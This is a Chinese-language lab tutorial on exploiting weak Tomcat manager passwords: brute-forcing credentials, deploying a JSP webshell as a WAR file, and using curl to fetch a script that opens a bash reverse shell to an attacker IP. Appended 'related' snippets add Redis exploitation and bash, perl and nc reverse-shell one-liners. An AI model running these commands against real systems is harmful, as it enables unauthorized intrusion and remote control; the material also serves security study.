Tomcat弱口令复现及利用(反弹shell)

目录
  • 漏洞描述
  • 复现
    • 环境
    • 攻击流程
  • 利用
    • msf利用
    • 反弹shell利用
  • 参考文章

漏洞描述

Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令。Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下。其中,欲访问后台,需要对应用户有相应权限。
Tomcat7+ 权限分为:
manager(后台管理)

manager-gui 拥有html页面权限
manager-status 拥有查看status的权限
manager-script 拥有text接口的权限,和status权限
manager-jmx 拥有jmx权限,和status权限
host-manager(虚拟主机管理)

admin-gui 拥有html页面权限
admin-script 拥有text接口权限
二、漏洞影响
Tomcat <= 6.0.0 默认用户名为admin,密码为空,无暴力破解限制。
Tomcat >= 6.0.0 无默认用户,五次失败后,账户即被锁定。
但是正常安装的情况下,tomcat8 中默认没有任何用户,且 Manager 页面只允许本地 IP 访问。只有管理员手工修改了这些属性的情况下,才可以进行攻击。

复现

环境

一台攻击机(kali-2021)192.168.141.190
受害机(vulhub搭建的)192.168.141.194
一台用来下载反弹shell脚本的服务器(内网,如果有服务器更好)192.168.141.128(利用时让受害主机下载shell文件实现反弹shell)

攻击流程

按照前人经验可以使用burpsuite进行爆破或者使用msf进行爆破
首先是根据burpsuite进行爆破:
抓取请求数据包可以看到

=其中没有看到熟悉的账号密码,但是其中’Authorization: Basic dG9tY2F0OnRvbWNhdA=='将其中的base64字符串解密可以看到结果格式为"tomcat:tomcat"所以将请求包送至爆破模块,构造格式为x:x的payload

结果中的200即为成功,但是前面说明了tomcat8或有防爆破机制,当一个用户名登录超过五次就会锁定账户,网上有说要用"tomcat暴破图形化—绕过tomcat 6/7/8的防暴破机制"这个脚本来绕过但是作者没有找到免费的,就不测试了.
其次使用过msf进行爆破

msf中找到上面的模块配置出options的rhosts和rport就可以进行爆破(run)了

可以看到用户名和密码在都是tomcat的时候爆破成功,而且可以看到msf应该是自带了绕过防爆破脚本,而且可以通过自定义user和password文件进行测试,所以作者更推荐使用msf爆破方式

利用

msf利用

这里强调一下,在作者复现网上说的使用exploit/multi/http/tomcat_mgr_deploy但是在配置好rhoss和rport进行run的时候出现无法拿到shell问题

所以作者使用了exploit/multi/http/tomcat_mgr_upload进行利用配置同deploy,配置httpusername,httppassword,rhosts.rport 然后运行拿到shell

反弹shell利用

整体思路:首先在网页端登录进管理后台上传jsp后门文件,然后访问这个jsp后门即可,虽然上传之后就可以通过shell软件控制,但是为了复习反弹shell的过程,作者将进一步通过上传的jsp一句话木马(也可以上传大马)进行反弹shell.

首先将一句话shelloneword.jsp(一句话木马文件)通过命令,jar cvf shelloneword.war shelloneword.jsp 执行成功后在管理后台找到如下然后上传

成功之后可以在这看到结果

之后通过各种软件访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i= xxxx就行了

但是作者的方式是通过让受害主机访问服务器主机下载shell文件,进行反弹shell,所以前面只是中间过程,首先让受害主机执行i=curl -o /shell.sh http://192.168.141.128/shell.txt 其中shell.txt文件内容为

bash -i >& /dev/tcp/192.168.141.190/7777 0>&1

将ip和端口改为自己的,然后打开nc 监听7777端口,访问http://192.168.141.194:8080/shelloneword/shelloneword.jsp?i=bash /shell.sh

反弹shell成功

参考文章

[1] https://blog.csdn.net/qq_33020901/article/details/98357659
[2] https://blog.csdn.net/weixin_44037296/article/details/116376114
[3] https://blog.csdn.net/qq_43665434/article/details/116903953
[4] https://www.cnblogs.com/henry666/p/14379888.html
[5]https://www.cnblogs.com/qianxinggz/p/13440366.html
[6]https://blog.csdn.net/weixin_42432317/article/details/90208213

到此这篇关于Tomcat弱口令复现及利用(反弹shell)的文章就介绍到这了,更多相关Tomcat弱口令复现内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • Tomcat多实例与负载均衡示例详解

    目录 一.Tomcat多实例 1.1 安装好 jdk 1.2 安装 tomcat 1.3 配置 tomcat 环境变量 1.4修改tomcat2中的主配置文件 1.5修改启动脚本和关闭脚本 1.6启动tomcat并查看 二.Nginx+Tomcat负载均衡.动静分离 2.1 部署Nginx 负载均衡器 2.2部署第一台Tomcat 2.3部署第二台Tomcat 2.4nginx 配置 一.Tomcat多实例 1.1 安装好 jdk 在部署 Tomcat 之前必须安装好 jdk,因为 jdk 是

  • tomcat的catalina.out日志按自定义时间格式进行分割的操作方法

    默认情况下,tomcat的catalina.out日志文件是没有像其它日志一样,按日期进行分割,而是全部输出全部写入到一个catalina.out,这样日积月累就会造成.out日志越来越大,给管理造成了不便,为了实现像其它日志文件一样按日期归档,这里我采用cronolog来完成日志分割. 一.安装Cronolog 1.yum方式安装 # yum install cronolog 2.下载压缩包安装 1. 下载(最新版本) wget http://cronolog.org/download/cro

  • Tomcat执行startup.bat出现闪退的可能原因及解决

    目录 问题描述: 解决问题: 问题描述: Tomcat再解压之后,点击startup.bat出现闪退.以下是我在网上搜索的解决方案. 解决问题: 1.端口被占用 .到tomcat安装目录的logs文件夹下查看日志文件(.log结尾),看是不是有 严重: StandardServer.await: create[8080]:java.net.BindException: Address already in use: JVM_Bind 解决办法:打开cmd,输入netstat -ano,查看所有端

  • Tomcat starup.bat脚本开机自启动的实现

    目录 1:在tomcat bin目录下修改catalina.bat文件 2:如果需要tomcat启动后窗口不关闭,则需要在tomcat bin目录下修改startup.bat文件 3:在tomcat bin目录下修改setclasspath.bat文件 4:编写bat启动脚本 5:把编写的bat脚本放到C盘开机自启动程序目录下面 tomcat是非常流行的web服务器,当我们使用tomcat作为项目开发时,经常就是直接运行bin目录下的startup.bat,以cmd命令窗口的形式启动服务.这是开

  • 解决tomcat启动 ssm项目出现乱码的问题

    0.乱码产生原因:编码和解码的方式是不同 1.出现乱码的解决方式[推荐]: 在tomcat 的配置文件web.xml 中添加上请求编码过滤器: <!-- 请求编码过滤器 --> <filter> <filter-name>CharacterEncodingFilter</filter-name> <filter-class>org.springframework.web.filter.CharacterEncodingFilter</fil

  • 关于Ubuntu Server 18.04 LTS 安装Tomcat并配置systemctl管理Tomcat服务的问题

    目录 1.下载安装 2.配置JDK环境变量 软件环境 系统版本:Ubuntu Server 18.04.1 LTS JDK版本:Java SE Development Kit 8u231 Tomcat版本:Tomcat 9.0.27 Released 1.下载安装 由于JDK下载需要登录,用wget下载不方便,建议先在别的机子先下载好再拷贝到Ubuntu上. 将下载好的JDK压缩包解压到指定目录 tar -zxvf jdk-8u231-linux-x64.tar.gz -C ~/server 解

  • Tomcat用户管理的优化配置详解

    目录 tomcat用户管理配置 tomcat优化 一.tomcat中的三种运行模式之运行模式的优化 二.tomcat执行器(线程池)的优化 三.tomcat优化之禁用AJP连接器实现动静分离 四.tomcat中JVM参数优化 tomcat用户管理配置 在tomcat-users.xml中添加用户: <role rolename="manager"/> <role rolename="manager-gui"/> <role rolena

  • 项目启动tomcat失败的几种可能原因和解决方法(小结)

    目录 1.java配置路径有问题 2.项目未添加tomcat驱动 3.项目中的web.xml中配置的servlet的名称写错,tomcat无法识别 4.端口被占用 1.java配置路径有问题 请配置好jdk路径,具体参考java路径的配置吧. 2.项目未添加tomcat驱动 (一般提示The superclass "javax.servlet.http.HttpServlet" was not found on the Java Build Path属于这一类) 解决方法:保证已经装了

  • Tomcat弱口令复现及利用(反弹shell)

    目录 漏洞描述 复现 环境 攻击流程 利用 msf利用 反弹shell利用 参考文章 漏洞描述 Tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置,不少管理员为了方便,经常采用弱口令.Tomcat 支持在后台部署 war 文件,可以直接将 webshell 部署到 web 目录下.其中,欲访问后台,需要对应用户有相应权限.Tomcat7+ 权限分为:manager(后台管理) manager-gui 拥有html页面权限man

  • 解析Redis未授权访问漏洞复现与利用危害

    目录 一.漏洞简介以及危害: 1.什么是redis未授权访问漏洞: 2.漏洞的危害 3.漏洞的影响 二.漏洞复现: 三.未授权访问漏洞测试 0x01 利用redis写webshell 0x02 利用"公私钥"认证获取root权限 0x03利用crontab反弹shell 四.Pyhton脚本自动化测试 五.解决方案 于2019.10.9日补充 redis主从复制rce 于2021.01.02补充 ssrf,redis与gopher 参考文章: 一.漏洞简介以及危害: 1.什么是redi

  • windows下FTP匿名登录或弱口令漏洞及服务加固

    漏洞描述 FTP 弱口令或匿名登录漏洞,一般指使用 FTP 的用户启用了匿名登录功能,或系统口令的长度太短.复杂度不够.仅包含数字.或仅包含字母等,容易被黑客攻击,发生恶意文件上传或更严重的入侵行为. 漏洞危害 黑客利用弱口令或匿名登录漏洞直接登录 FTP 服务,上传恶意文件,从而获取系统权限,并可能造成数据泄露. 加固方案 不同 FTP 服务软件可能有不同的防护程序,本修复方案以 Windows server 2008 中自带的 FTP 服务和 Linux 中的vsftpd服务为例,您可参考以

  • 由mysql弱口令取得system权限的实战

    由mysql弱口令取得windows的system权限的实战 今年五月mix在幻影论坛公布了一篇关于mysql入侵的文章(<<Windows环境下通过MySQL以SYSTEM身份 执行系统命令>>,连接地址='http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006' target=_blank>http://www.ph4nt0m.org/bbs/showthread.php?threadid=33006),反应强烈.

  • python模拟菜刀反弹shell绕过限制【推荐】

    有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell 主要用到python os库和sokect库 这里的服务端在目标机上运行 from socket import * from os import * s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议 s.bind(('',6666))#补丁端口 s.listen(1)#开始监听一个队列 while True: sock,addr=s.accept()#

  • linux反弹shell的原理详解

    完整命令 反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一个交互式的bash &是为了区分

  • Linux下NC反弹shell命令(推荐)

    本机开启监听: nc -lvnp 4444 nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p

  • Python实现FTP弱口令扫描器的方法示例

    FTP服务器 FTP服务器是在互联网上提供文件存储和访问服务的计算机,它们依照FTP协议提供服务.FTP是File Transfer Protocol(文件传输协议)的缩写.顾名思义,就是专门用来传输文件的协议,简单地说,支持FTP协议的服务器就是FTP服务器 FTP是仅基于TCP的服务,不支持UDP(想想也是,传输文件,肯定要稳定可靠,建立连接,所以不支持UDP).与众不同的是FTP使用2个端口,一个数据端口,一个命令端口(也叫控制端口).通常来说这两个端口分别是21(命名端口)和20(数据端

  • 浅析Linux之bash反弹shell原理

    环境 攻击机:kali            ip:192.168.25.144 靶    机:centos      ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击机 kali 成功反弹shell 原理 反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启

  • 详解NC反弹shell的几种方法

    假如ubuntu.CentOS为目标服务器系统 kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用 最终是将ubuntu.CentOS的shell反弹到kali上 正向反弹shell ubuntu或者CentOS上面输入 nc -lvp 7777 -e /bin/bash kali上输入 nc ip 7777 正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell. 需要目标机安装nc. 反向反弹shell 方法1:bash反弹 bash

随机推荐